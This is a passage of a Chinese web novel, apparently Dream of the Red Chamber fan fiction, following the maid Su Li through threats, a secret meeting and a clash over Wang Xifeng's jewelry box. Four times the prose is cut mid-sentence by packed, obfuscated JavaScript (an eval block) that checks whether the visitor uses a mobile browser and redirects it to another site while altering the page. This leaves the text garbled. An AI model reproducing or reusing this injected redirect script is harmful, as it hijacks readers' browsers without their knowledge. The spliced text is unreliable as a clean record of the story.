张婆子嘿嘿笑了两声，眼神有些莫测：“没什么，随便问问。老身也是听人说，这库房年头久了，里头有些老物件，怕是账上也未必记得周全。姑娘年轻，怕是没见过，可要仔细些，莫让人浑水摸了鱼去。” 这话意有所指！苏璃背脊微微发凉，强笑道：“妈妈提醒的是，我自会仔细。”她不想再多停留，点头示意，便快步离开。走出很远，仍能感到那婆子探究的目光黏在背上。 回到账房，苏璃的心仍怦怦直跳。那张婆子绝非寻常仆役！她是谁的人？贾赦邢夫人？还是贾珍尤氏？抑或是府外某股势力的眼线？她提到“老物件”、“账上未必记得周全”，分明是在试探自己是否知晓暖香坞库房的秘密！ 自己的暗中调查，很可能已经引起了某些人的注意！危险，如同无声的潮水，正在悄然逼近。 接下来的几日，苏璃加倍小心。她不再轻易单独前往暖香坞附近，处理账务也更加谨言慎行。然而，树欲静而风不止。 这日傍晚，她核对完一批采买单据，天色已晚。平儿被凤姐叫去伺候汤药，小丫鬟们也各自散去用饭。账房里只剩她一人。她收拾好东西，吹熄了灯，准备回自己住处。 刚走出账房不远，穿过一条僻静的穿堂时，忽觉身后似有极轻微的脚步声。她心中警觉，猛地回头，只见一道黑影迅速闪入旁边的月亮门后。 “谁？”苏璃厉声喝道，手心瞬间沁出冷汗。 无人应答。穿堂里只有风声穿过，吹得灯笼摇晃，光影幢幢。 苏璃不敢停留，加快脚步向前走。她能感到，有一道视线如跗骨之蛆，紧紧跟随着她。是那张婆子？还是别的什么人？ 她专挑有灯火、有人声的大路走，不敢再走僻静处。好不容易回到自己居住的小院附近，刚要松口气，忽见院墙阴影下，似乎蹲着一个人影！ 苏璃头皮发麻，转身就想往亮处跑。那人影却猛地站起，低声道：“璃姑娘，是我！” 声音有些耳熟。苏璃定睛一看，竟是宝玉房里的麝月！只是她此刻鬓发散乱，脸上带着惊惶之色。 “麝月姐姐？你怎么在这里？”苏璃惊疑不定，仍保持着距离。 麝月快步上前，一把抓住苏璃的手，她的手冰凉，还在微微发抖。“璃姑娘，救救我！有人……有人要害我！” 苏璃心中一震：“怎么回事？慢慢说。” 麝月语无伦次，带着哭腔：“我也不知道……方才我从老太太屋里回来，路过那边假山，忽然被人从后面推了一把，差点跌进池塘里！我回头，只看到一个黑影跑了……我、我不敢声张，怕人说不清，只好跑到你这里来……” 推入池塘？苏璃心中一寒。这绝非意外！麝月是宝玉身边的大丫鬟，地位不低，谁会对她下手？是冲着她来的，还是……冲着自己？因为自己与宝玉房中人来往较多？ 她立刻联想到白日在园中遇见的那个可疑的张婆子，还有刚才跟踪自己的黑影。难道，自己暗中调查暖香坞的事，真的触动了某些人的利益，引得他们不惜对麝月下手，以作警告？或者，是针对宝玉？ “别怕，先跟我进来。”苏璃稳住心神，将麝月拉进自己小屋，闩上门，点了灯。灯光下，麝月脸色惨白，衣裙下摆果然沾了些泥水。 苏璃给她倒了杯热茶，低声问：“你看清那人的模样了吗？” 麝月摇头，惊魂未定：“天太黑，没看清，只觉是个男人的身形，力气很大。” 男人？苏璃眉头紧锁。事情更复杂了。 “此事暂时不要声张。”苏璃沉吟道，“你今夜就歇在我这里，明日一早，我悄悄送你回去，只说在我这里讨论针线晚了。至于推你的人……我会留意的。” 麝月感激涕零，连连点头。这一夜，两人都未能安眠。苏璃更是睁眼到天亮，脑海中反复思量。威胁已经近在咫尺，对方在暗，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998054|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己在明，麝月之事是一个警告，下次恐怕就不会这么简单了。 次日一早，苏璃依言将麝月悄悄送回怡红院，只说是讨论花样晚了。袭人等人虽有疑惑，也未深究。 然而，苏璃知道，危机并未解除。她必须尽快做出决断。坐以待毙，只有死路一条。或许……是该动用那张“底牌”的时候了。水澈留下的线索，是唯一的希望，也是最大的风险。 她利用午间人少，再次悄然来到大观园东南角，暖香坞附近。她没有靠近小库房，而是躲在一处假山石后，仔细观察。果然，在不远处的树丛后，她再次看到了那个佝偻的身影。她似乎并非在劳作，更像是在蹲守。 苏璃心念电转，从另一条小径快速离开。她必须找到一个绝对安全、且能传递消息的机会。府中人多眼杂，她的任何异常举动都可能被监视。 机会在几天后来临。府中要采买一批上等檀香供奉宗祠，指定要去城南老字号“福瑞香铺”。苏璃主动揽下了核对采买单、支取银两的差事，理由是此香贵重，需仔细验看。平儿不疑有他，允了。 出府那日，苏璃特意换了身不起眼的青布衣裙，只带了一个老实的小丫鬟。她先去了福瑞香铺，仔细验看了货物，付了银两，让伙计将香直接送去府上。然后，她对小丫鬟道：“我去隔壁街的‘文宝斋’看看新到的账本样式，你在此处等我，不要乱走。”小丫鬟不疑有他，乖乖在香铺门口等候。 苏璃快步拐进一条小巷，七拐八绕，确定无人跟踪后，迅速来到“粤海记”铺子附近。她没有直接进去，而是走进对面一家茶楼，要了个临街的雅座，点了一壶茶，静静等待。 约莫过了小半个时辰，她看到“粤海记”的掌柜送一位客人出来。她不动声色地下楼，在掌柜转身回店时，状似无意地与他擦肩而过，将一个小小的、揉成一团的纸团，飞快地塞进了掌柜袖中。 纸团上只有几个字：“事急，求见四爷。苏。” 这是她根据水澈上次提到的“与粤海记东家有旧谊”，进行的最大胆的试探。她不知道这掌柜是否可靠，不知道消息能否传到水澈手中，更不知道水澈会作何反应。但她已别无选择。 做完这一切，她手心已全是冷汗。她若无其事地回到福瑞香铺，带上小丫鬟，返回贾府。 接下来的两日，苏璃如坐针毡。她既期盼着水澈的回应，又恐惧着回应带来的未知。府中的气氛依旧压抑，凤姐的病反反复复，贾琏为着银子的事又与凤姐口角，麝月那边虽未再出事，但也整日惶惶。 第三日傍晚，苏璃正在账房核对一份无关紧要的旧账，一个小丫鬟送来一个普通包裹，说是门房收到的，指明给璃姑娘。 苏璃心中一紧，谢过小丫鬟，待她离开，才小心打开包裹。里面是两本崭新的《女则》《女训》，并无任何异常。她仔细翻检，在第二本书的封皮夹层里，发现了一张薄如蝉翼的纸条。上面只有一行小字： “明日未时三刻，城西清水庵后竹林。” 字迹冷峻瘦硬，正是水澈。 苏璃将纸条紧紧攥在手心，几乎能听到自己心脏狂跳的声音。他答应了！但地点选在城外僻静的庵堂竹林，显然是为了避人耳目。明日未时三刻……她该如何出府？又能否安全抵达？ 窗外的天色，渐渐暗了下来，如同她此刻沉重又莫名燃起一丝希望的心。她知道，真正的冒险，或许才刚刚开始。而那个玄衣冷峻的男子，是救命的稻草，还是更深的漩涡，明日便见分晓。 48. 相见 水澈那张薄如蝉翼的纸条，如同投入滚油的水滴，在苏璃心中炸开，让她整夜辗转反侧。清水庵，城西一座香火不盛的小庵堂，后山有片竹林，僻静少人。未时三刻，正是午后最易犯困、人迹罕至的时辰。水澈选择此地，显然是经过深思熟虑，既要避人耳目，又给她留出了出府往返的时间。 如何出府，成了第一个难题。 她一个内宅丫鬟，若无正当理由，绝无可能独自离府半日。苦思一夜，苏璃终于想到一个勉强说得过去的借口。次日一早，她寻了个空，对平儿道：“平儿姐姐，我前日去福瑞香铺，听闻他们铺里新到了一批上等的沉速香，说是安神效果极好。我想着二奶奶近日总睡不安稳，太医开的安神香似乎效用不大，便想着……是否可以去请一些回来，给奶奶试试？只是那香需得亲自去选，旁人怕不识货。” 平儿正为凤姐的病情发愁，闻言想了想，道：“你倒是有心。只是……那铺子在城南，一来一回，怕是要大半日功夫，你手头的事……” “账目紧要的都已理清，剩下的不急在一时。我快去快回，耽搁不了。”苏璃忙道。 平儿见她神色恳切，又念及凤姐病情，便点头道：“既如此，你去吧。只是务必仔细挑选，早去早回。我让门上备车。” “不必麻烦车马了，”苏璃连忙阻止，“铺子离得不远，我走着去便好，也便宜些。”用车马动静太大，且必有车夫跟随，她如何能去清水庵？ 平儿有些疑惑，但见苏璃坚持，也只当她是想省事，便道：“既如此，你带个小丫头同去，也好有个照应。” “今日事多，让小丫头们忙吧，我一人足矣。”苏璃婉拒。多一人，便多一分风险。 平儿见她安排得妥当，便不再多言，只叮嘱她小心。苏璃心中暗松一口气，回房换了身半新不旧的藕荷色夹袄，青缎背心，系了条月白裙子，打扮得如同寻常出门办事的大丫鬟，并不惹眼。她将水澈那张纸条贴身藏好，又将一包散碎银子和几枚铜钱收入袖中，以备不时之需。 巳时刚过，苏璃便拿着平儿给的对牌，从西角门出了荣国府。春日阳光正好，街市上车水马龙，人声鼎沸。她无心流连，低着头，加快脚步，先向南走了一段，确认无人跟踪后，迅速拐入一条小巷，转而向西走去。 城西较城南更为冷清，多是小户人家和些不大景气的店铺。越往西走，人烟越稀，房屋也越发低矮破旧。苏璃心中忐忑，既盼着尽快见到水澈，问个明白，又害怕此行是自投罗网，落入未知的陷阱。 约莫走了大半个时辰，远远望见一座灰墙小庵，掩映在几株老槐树下，门庭冷落，正是清水庵。苏璃绕到庵后，果然见一片茂密竹林，风吹过，沙沙作响，更显幽静。她看了看日头，离未时三刻尚有一刻钟，便寻了块干净的青石坐下，平复着急促的呼吸和心跳。 时间一点点流逝，竹林里寂静得能听到自己的心跳声。各种念头在她脑中翻腾：水澈会来吗？他为何肯见她？他到底知道多少？今日相见，是福是祸？ 正当她心乱如麻之际，忽听竹林深处传来极轻微的脚步声。苏璃猛地抬头，只见一道玄色身影，分花拂柳，从容而来。正是水澈。 他今日未着锦袍，只穿了一身寻常的玄色布衣，未戴冠，用一根木簪随意绾着发，越发显得身姿挺拔，眉目清冽。他走到苏璃面前三步远处站定，目光平静地落在她脸上，仿佛此次相见，再寻常不过。 苏璃忙起身，敛衽行礼：“奴婢苏璃，见过四爷。”声音因紧张而微微发颤。 “不必多礼。”水澈虚扶一下，语气平淡，“此处僻静，但亦非久谈之地。长话短说，你冒险寻我，所为何事？” 他开门见山，毫不拖泥带水。苏璃深吸一口气，抬眸迎上他深邃的目光，决定不再迂回：“四爷明鉴。奴婢今日冒死求见，实因贾府已至生死存亡之秋，奴婢身陷其中，如履薄冰，进退维谷，特来向四爷求教一条生路。”她将“恒舒典”催债、府中银钱枯竭、凤姐病重、以及麝月疑似被推落水等事，择要紧处简略说了，末了道：“……如今府内怨声载道，外患迫在眉睫，奴婢人微言轻，虽掌着些账目，却如螳臂当车，眼看大厦将倾，不知何以自处。四爷曾言‘顺时而动，谋定后发’，如今时局危殆，敢问四爷，奴婢当如何‘动’，如何‘发’？” 她语速不快，但条理清晰，将贾府的窘迫与自身的危局和盘托出，目光坦诚而急切。这是孤注一掷的赌博，赌水澈对她确有几分不同，赌他愿意指点迷津。 水澈静静听着，脸上并无讶异之色，仿佛早已洞悉一切。待她说完，他沉默片刻，方缓缓开口，声音低沉而清晰：“贾府之败，非一日之寒。省亲、丧事，不过加速其亡。如今内囊尽空，外患频仍，已是积重难返。你欲凭一己之力挽狂澜，无异痴人说梦。” 这话如同冰水浇头，让苏璃心中一凉。但水澈话锋随即一转：“然，大厦倾覆，亦非旦夕之事。其间必有征兆、有余地。你所求生路，不在力挽狂澜，而在……趁乱取势，金蝉脱壳。” “趁乱取势？金蝉脱壳？”苏璃喃喃重复，眼中闪过思索的光芒。 “不错。”水澈目光锐利地看着她，“贾府如今如同即将沉没的巨船，船上之人，或争权夺利，或醉生梦死，或惶惶不可终日。你若随波逐流，必与船同沉。若想求生，须在船沉之前，寻到救生之舟，或……自己造一叶扁舟。” 他顿了顿，继续道：“你如今掌着账目，看似危险，亦是机遇。贾府百年积累，纵是败落，亦有可图之机。暖香坞中所见，不过冰山一角。其田庄、铺面、乃至一些见不得光的营生，盘根错节，其中漏洞、贪墨、隐匿的资产，数不胜数。风暴来临之前，正是浑水摸鱼之时。” 苏璃心中剧震！水澈这是在暗示她……趁火打劫？利用职务之便，暗中转移贾府的财产？ “四爷的意思是……让奴婢监守自盗？”她声音干涩。 水澈嘴角勾起一抹极淡的、近乎冷酷的弧度：“何必说得如此难听？贾府之财，取自民脂民膏，终将散于尘埃。你取之，不过是为其寻一去处，总好过填入无底洞，或落入虎狼之口。况且，你取之，亦非为享乐，而是为谋一条真正的生路，不是吗？” 他看穿了她的野心！苏璃脸颊微热，却无法反驳。她的确不甘心随贾府沉没，她想要自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“今日之言，奴婢铭记于心。大恩……不言谢。”苏璃对着他的背影，郑重一福。 水澈背影僵了一下，随即淡淡道：“路是自己走的。好自为之。”话音未落，人已消失在竹林深处，仿佛从未出现过。 苏璃独自站在竹林中，良久未动。水澈的一番话，如同在她黑暗中点亮了一盏灯，照亮了前路，却也显露出更多的险峻。趁乱取势，金蝉脱壳……这是条危险而孤独的路，但确是唯一的生路。 她摸了摸袖中那张已揉皱的纸条，眼中闪过一丝决绝。然后，她整理了一下衣裙，确定四周无人，迅速沿着来路离开。 返回荣国府的路，似乎比来时更加漫长。夕阳的余晖将她的影子拉得老长。府邸那朱红的大门，在她眼中，已不再是安身立命的庇护所，而是一座即将倾塌的、危机四伏的牢笼。 她知道，从今日起，她将不再是那个只知埋头算账、寻求庇护的丫鬟苏璃。她将成为一个潜伏在暗处的猎手，在暴风雨来临前，为自己谋划一场惊心动魄的……逃亡与新生。 而这一切的起点，就在那座看似平静、实则暗藏玄机的大观园，在那间不起眼的暖香坞小库房之中。 时间，不多了。 49. 浪急舟危 自清水庵竹林一晤，水澈那番“趁乱取势，金蝉脱壳”的话语提点，如同在苏璃心中点燃了一簇幽暗的火苗。 她不再仅仅是那个被动应对危机、祈求自保的丫鬟，而是开始以一种前所未有的冷静与决绝，审视着这座即将倾覆的华厦，暗中编织着自己的逃生之路。 然而，命运的浪潮，远比她预想的更为湍急险恶。就在她刚刚理清思绪，准备着手行动之际，几件接踵而至的祸事，如同惊涛骇浪，狠狠拍向早已千疮百孔的贾府，将所有人都卷入了更深更急的漩涡之中。 第一桩祸事，祸起于东府之人。贾珍被参之事，虽经多方打点，暂时压了下去，但并未了结。都察院那边似乎并未罢休，暗中仍在查访。这日，忽然有消息传来，说贾珍为平息事端，托人情走门路，不慎卷入了一桩更大的科场舞弊案中，虽非主犯，但牵涉颇深，已被暗中监控。消息虽未公开，但宁国府早已是风声鹤唳，贾珍等人被吓得称病不出，尤氏急得满嘴角起泡，连带着西府这边也人心惶惶。若贾珍罪名坐实，那整个贾家都有可能被牵连问罪！ 这消息如同晴天霹雳，震得东西两府主子、奴婢魂飞魄散。王夫人当时就捻断了佛珠，凤姐闻讯，惊怒交加，心口疼的老毛病顿时发作，呕出一口血来，昏厥过去。府中顿时乱作一团，请医的请医，报信的报信，平儿、苏璃等人守在凤姐床前，寸步不离。 好容易凤姐悠悠转醒，面色灰败，气息微弱，拉着平儿的手，泪如雨下：“我这辈子争强好胜，想不到……想不到贾家竟要败在我手里！珍大哥若是……我可怎么对得起老太太、太太啊！”言语之间，已是一片绝望。 平儿与苏璃只能含泪劝慰，心中却知，大厦将倾，已非人力可挽。苏璃更是心沉谷底，贾珍若倒，贾府必受重创，届时树倒猢狲散，她这“金蝉脱壳”的计划，难度将倍增，时间也更加紧迫！ 祸不单行。贾珍之事尚未平息，又一桩麻烦找上门来，直指西府内部。这日，王夫人正心烦意乱，在房中礼佛，忽见周瑞家的急匆匆进来，脸色古怪，欲言又止。 “什么事？吞吞吐吐的！”王夫人烦躁地问。 周瑞家的扑通一声跪下，哭丧着脸道：“太太，不好了！方才门上传来消息，说是……说是琏二爷在外头包占的那个叫什么尤二姐的，不知怎的知道了二奶奶……知道了府里的事，今日竟闹到咱们后街门上来了！口口声声说要见琏二爷，见老太太、太太，求个公道！如今围了一群人在那里看热闹呢！” “什么？！”王夫人眼前一黑，差点晕倒。贾琏琏在外风流，她素有耳闻，只当是男人常情，睁只眼闭只眼，万没想到这外室竟如此大胆，敢闹上门来！而且偏偏是在贾珍出事、府中风雨飘摇的当口！这要是传扬出去，贾家的脸面可就丢尽了！ “混账东西！”王夫人气得浑身发抖，“都是琏儿这个不争气的惹出来的祸事！快去！快去把那个不知廉耻的东西打发走！多给些银子，让她闭嘴滚蛋！再让人去把琏儿给我找回来！” 周瑞家的连滚爬爬地去了。王夫人跌坐在椅上，只觉得天旋地转。一波未平，一波又起，这日子可怎么过！ 尤二姐闹门之事，虽被周瑞家的带人连哄带吓、许以重金暂时压了下去，但消息却不胫而走，在府中悄悄传开。下人们窃窃私语，主子们颜面扫地。贾琏琏被王夫人叫去痛骂一顿，回来又与凤姐大吵一架。凤姐本就病重，受此刺激，病情更是雪上加霜，几日水米不进，眼看着形销骨立。 而真正的致命一击，却在人们意想不到的地方悄然爆发。这日，林之孝家的连滚爬爬地冲进凤姐房中，也顾不得礼数，带着哭腔喊道：“二奶奶！大事不好了！‘恒舒典’……‘恒舒典’的人来了！带着借据，说……说咱们府上借的银子到期未还，利钱也没结，他们要……要查封抵债了！” “查封抵债”四个字，如同惊雷，炸得病榻上的凤姐猛地坐起，又无力地瘫软下去，面如金纸，气若游丝。平儿、苏璃等人也吓得魂飞魄散。银号上门逼债，还要查封？这简直是奇耻大辱！若真被他们闯进来查封物品，贾府可就彻底沦为京城笑柄了！ “他们……他们怎么敢！”凤姐咬着牙，挤出几个字。 “来的不是寻常伙计，是东家身边的管事，带着好几个彪形大汉，说……说咱们府上如今外面风声不好，他们也是不得已……”林之孝家的哭道。 “混账！欺人太甚！”凤姐剧烈咳嗽起来，“去……去账上看看，还有多少银子？先……先应付过去……” “账上早就空了！连这个月的月钱还没着落呢！”林之孝家的绝望道。 “去……去把我那个紫檀匣子……拿来……”凤姐指的是她最后一点体己首饰。 平儿含泪去取。苏璃站在一旁，手脚冰凉。水澈预言的“浪急”，竟来得如此之快，如此之猛！贾珍案发、外室闹门、银号逼债……三管齐下，贾府这艘破船，已到了倾覆的边缘！ 平儿刚取出匣子，还未来得及开，忽见一个小丫鬟面无人色地跑进来：“二奶奶！平姑娘！不好了！东府珍大奶奶那边派人来说，珍大爷……珍大爷被都察院请去问话了！” 最后一丝希望，彻底破灭。凤姐闻言，眼白一翻，彻底晕死过去。房中顿时哭喊声、呼唤声响成一片。 苏璃强忍着眩晕，扶住桌角才站稳。她看到平儿惨白的脸，看到林之孝家的绝望的眼神，看到满屋子的慌乱。她知道，最后的时刻，到了。贾府的天，塌了。再不走，就真的来不及了。 然而，就在这极度的混乱与绝望中，苏璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006568|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却异常地冷静下来。她迅速扫视屋内，目光落在平儿手中那个紫檀匣子上。那是凤姐最后的体己，也是她此刻唯一可能接触到的、为数不多的现成财物。 机会！危险中的机会！趁乱取势！ 她深吸一口气，走到平儿身边，低声道：“平儿姐姐，奶奶晕过去了，这里离不开人。外面银号的人还在闹，林妈妈一个人恐怕应付不了。奶奶的匣子我先收着，你赶紧去找琏二爷，再去回禀太太，拿个主意！这里我先照看着。” 平儿早已六神无主，见苏璃如此镇定，如同抓住了救命稻草，想也不想便将匣子塞到她手里：“好妹妹，你快收好！我这就去！”说罢，匆匆跑了出去。 苏璃接过那沉甸甸的匣子，手心沁出冷汗。她迅速将匣子塞入怀中，用宽大的衣袖掩住。然后，她快步走到窗边，对外面乱作一团的小丫鬟喝道：“都慌什么！快去请太医！再去个人，告诉门上，无论如何先把人稳住，就说奶奶立刻派人送银子去！” 她的镇定感染了众人，小丫鬟们稍微安定，纷纷领命而去。 苏璃看了一眼床上昏迷不醒的凤姐，又望了望窗外纷乱的景象，心中已有了决断。不能再等了！必须立刻行动！暖香坞的秘密，粤海记的渠道，现在就要用上！ 她转身，快步走向门口。然而，就在她即将踏出房门的一刹那，周瑞家的却阴沉着脸，带着两个婆子，挡在了门口。 “璃姑娘，这是要去哪儿啊？”周瑞家的皮笑肉不笑地问道，目光却锐利地扫过苏璃略显鼓胀的胸前，“奶奶病着，姑娘不在跟前伺候，拿着奶奶的匣子，这是要做什么去？” 周瑞家的带着两个膀大腰圆的婆子，如同门神般堵在门口，皮笑肉不笑，眼神却如淬了毒的针，死死盯住苏璃略显鼓胀的胸前。空气瞬间凝固，连凤姐房中压抑的呻吟和哭泣声都仿佛被冻住了。 苏璃的心跳骤然停止了一瞬，随即以更快的速度狂跳起来，几乎要撞破胸腔。她怀中那个紫檀木匣子，此刻烫得像一块烧红的烙铁。 周瑞家的！ 她怎么会在这个节骨眼上出现？是巧合，还是……一直就在暗中盯着她？ 电光石火间，无数念头在苏璃脑中闪过。周瑞家的是王夫人的陪房，与凤姐素来面和心不和，更是因之前账目之事对苏璃恨之入骨。此刻发难，显然是瞅准了凤姐昏迷、府中大乱、无人主事的绝佳时机！她定是看到了平儿将匣子交给自己，便想趁机坐实自己“偷盗主家财物”的罪名，一箭双雕，既除了眼中钉，又能向王夫人表功，甚至可能借此打击凤姐！ 绝不能让她得逞！否则，便是万劫不复！ 苏璃强迫自己快速冷静下来，脸上则迅速换上一副焦急而不解的神情，微微蹙眉，声音却带着恰到好处的镇定说到： 50. 解决 “周妈妈这是何意？奶奶急火攻心晕厥，银号的人在外逼债，平儿姐姐去寻二爷和太太拿主意，命我暂管奶奶的紧要物件，以防忙中出错。 妈妈不去前面帮着安抚债主，阻拦我作甚？若是耽误了大事，惊扰了老太太，这责任谁担待得起？” 她语速不快，却字字清晰，先将“奉平儿之命”、“以防出错”、“惊扰老太太”这几顶大帽子先抬了出来。 周瑞家的没料到苏璃如此镇定，且反将一军，噎了一下，但立刻冷笑道：“哟，璃姑娘好利的嘴！平姑娘让你暂管？我怎么没听见？这府里谁不知道，奶奶的体己匣子，向来是平姑娘亲自掌管，何时轮到你来‘暂管’了？莫不是瞧着府里乱了，想浑水摸鱼吧？”她身后两个婆子也上前一步，面露凶光。 “周妈妈慎言！”苏璃脸色一沉，目光锐利地扫过周瑞家的和她身后的婆子，“奶奶昏迷不醒，平姐姐分身乏术，将紧要物件交予可靠之人保管，乃是常情！妈妈不分青红皂白，便污人清白，是何道理？莫非妈妈以为，平姐姐和我是那等趁火打劫的小人不成？还是妈妈觉得，这府里乱了，便可由着你信口雌黄、以下犯上了？”她句句紧逼，将“污蔑”、“以下犯上”的罪名反扣回去，同时点出自己与平儿的同盟关系。 周瑞家的被噎得脸色涨红，强辩道：“你……你休要胡搅蛮缠！我分明看见平姑娘把匣子塞给你！如今府里不太平，我自然要替主子多留个心眼！你把匣子拿出来，当着大家的面打开看看，若真是平姑娘所托，我自然给你赔罪！” 打开匣子？苏璃心中冷笑。匣子一开，众目睽睽之下，她便是浑身是嘴也说不清！周瑞家的打的就是这个主意！ “周妈妈好大的口气！”苏璃不退反进，上前一步，逼视着周瑞家的，“奶奶的体己匣子，也是你能说开就开的？便是太太来了，也要问过奶奶的意思！妈妈是奉了谁的命，敢来查检奶奶的私房？莫非是觉得奶奶不行了，急着来抄检不成？”这话已是极其严厉，直指周瑞家的心怀叵测。 “你……你血口喷人！”周瑞家的气急败坏，指着苏璃的鼻子，“我看你就是做贼心虚！来人，给我把她拿下，搜！” 两个婆子应声便要上前。千钧一发之际！ “住手！”一声虚弱却带着怒意的叱喝从榻上传来。 众人皆是一惊，循声望去，只见凤姐不知何时竟醒转过来，半倚在引枕上，脸色惨白如纸，胸口剧烈起伏，但一双凤眸却燃着骇人的怒火，死死盯住周瑞家的。 “奶……奶奶！”周瑞家的吓得魂飞魄散，噗通一声跪倒在地。两个婆子也僵在原地，不敢动弹。 苏璃心中巨石落地，险些软倒，强撑着转身，快步走到床前，声音带着哽咽和恰到好处的委屈：“奶奶！您醒了！您可要为奴婢做主啊！”她巧妙地将匣子往凤姐手边一送，既表明了东西在，又显得自己是急于寻求庇护。 凤姐看也没看那匣子，目光如刀，剐在周瑞家的身上，声音嘶哑却带着不容置疑的威严：“周瑞家的……你好……你好大的胆子！我还没死呢……就敢来我屋里……喊打喊杀了？谁给你的狗胆……来动我的人……查我的东西？嗯？” “奶奶恕罪！奶奶恕罪！”周瑞家的磕头如捣蒜，“奴婢……奴婢是怕璃姑娘年轻，拿了贵重东西，忙乱中有所闪失，所以才……才多嘴问一句，绝无他意啊！” “闪失？”凤姐冷笑，气息不稳，咳嗽起来，“我看……你是巴不得有闪失！滚！给我滚出去！再敢踏进我这院子一步……我扒了你的皮！” 周瑞家的如蒙大赦，连滚爬爬地带着婆子跑了。 凤姐喘着粗气，疲惫地闭上眼。苏璃忙上前替她顺气，递上温水。凤姐抿了一口，推开，目光复杂地看向苏璃，又落在那个紫檀匣子上，半晌，才无力地挥挥手：“匣子……你收着吧……和平儿……料理清楚……别……别让人钻了空子……” “是，奴婢明白。”苏璃恭声应道，心中百感交集。凤姐此刻的信任，带着临终托孤般的悲凉。 正在这时，平儿急匆匆带着贾琏琏和王夫人屋里的玉钏儿赶了回来。见到凤姐醒来，平儿喜极而泣，忙上前伺候。 贾琏琏一脸晦气，嘟囔道：“外面乱成一锅粥了！‘恒舒典’的人还在闹，怎么说都不走！” 王夫人听了玉钏儿的回禀，也赶了过来，见到屋內情形，眉头紧锁，先问了凤姐病情，又沉声道：“外面的事要紧，琏儿，你拿我的对牌，去库上支……支二百两银子，先把人打发走，无论如何，不能让他们闹起来！” 贾琏琏苦着脸：“太太，库上早没现银了！上次当首饰的银子也快见底了！” 王夫人脸色一白，捻着佛珠的手微微发抖。屋内陷入死寂。银号逼债，竟连二百两银子都拿不出了！这是何等的窘迫！ 就在这时，苏璃深吸一口气，上前一步，对王夫人和凤姐道：“太太，奶奶，奴婢或许有个法子，可解燃眉之急。” 所有人的目光瞬间集中到她身上。 苏璃不慌不忙，从怀中取出一个小巧的锦囊，打开，里面是几锭黄澄澄的金锞子，约莫有五十两左右。“这是奴婢这些年积攒的月钱和赏赐，兑换成的金子，本是想……日后应急所用。如今府中有难，奴婢愿尽绵薄之力，暂缓燃眉之急。虽杯水车薪，但加上库中余银，或许能应付过去。” 这金子，自然不是她的月钱，而是她今日出门前，以防万一，从水澈当初赏赐的那包金银中取出的一部分。此刻拿出，正是时候！ 屋内众人皆惊。王夫人愕然地看着她，凤姐眼中闪过一抹复杂的光，平儿更是掩口惊讶。贾琏琏则瞪大了眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010476|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这……这如何使得……”王夫人迟疑道。 “太太，”苏璃恳切道，“府中艰难，奴婢尽些心意是应当的。况且，这只是暂借，待府中周转开来，再还与奴婢便是。眼下打发银号的人要紧，免得事情闹大，伤了府里体面。” 王夫人看了看床上气息奄奄的凤姐，又看了看一脸急色的贾琏琏，再想到门外虎视眈眈的债主，终于叹了口气，对贾琏琏道：“既如此……琏儿，你就先拿去用吧。苏璃……难得你一片忠心。” 贾琏琏忙不迭接过金子，带着小厮去了。 王夫人又安慰了凤姐几句，便带着玉钏儿离开了。 屋内只剩下凤姐、平儿和苏璃。凤姐看着苏璃，良久，才缓缓道：“难为你了……今日……多亏了你。” 苏璃垂首：“奴婢分内之事。” 凤姐疲惫地闭上眼：“你们都下去吧……我乏了。” 平儿和苏璃退了出来。走到廊下，平儿一把抓住苏璃的手，眼中含泪：“好妹妹！今日真是……真是吓死我了！也多亏了你机警，又拿出体己……不然……” 苏璃反握住她的手，低声道：“姐姐快别这么说，我们是一心的。只是……经此一事，周瑞家的怕是恨毒了我，日后还需更加小心。” 平儿点头，咬牙切齿道：“那个老虔婆！日后有她好看！” 风波暂时平息了。银号的人拿了金子，总算被打发走。但贾府这艘破船的窟窿，却已暴露无遗。经此一闹，府中人心更加涣散，各种流言蜚语悄然蔓延。 苏璃回到自己小屋，关上门，背靠着门板，才允许自己微微颤抖。刚才与周瑞家的对峙，简直是刀尖上跳舞！幸好凤姐及时醒来！幸好她早有准备！ 她摸了摸怀中那个沉甸甸的紫檀木匣子，又想起方才拿出的金子。危机暂时解除，但更大的风暴正在酝酿。周瑞家的绝不会善罢甘休，王夫人今日虽承了她的情，但心中作何想，也未可知。而府中的财政危机，已是迫在眉睫。 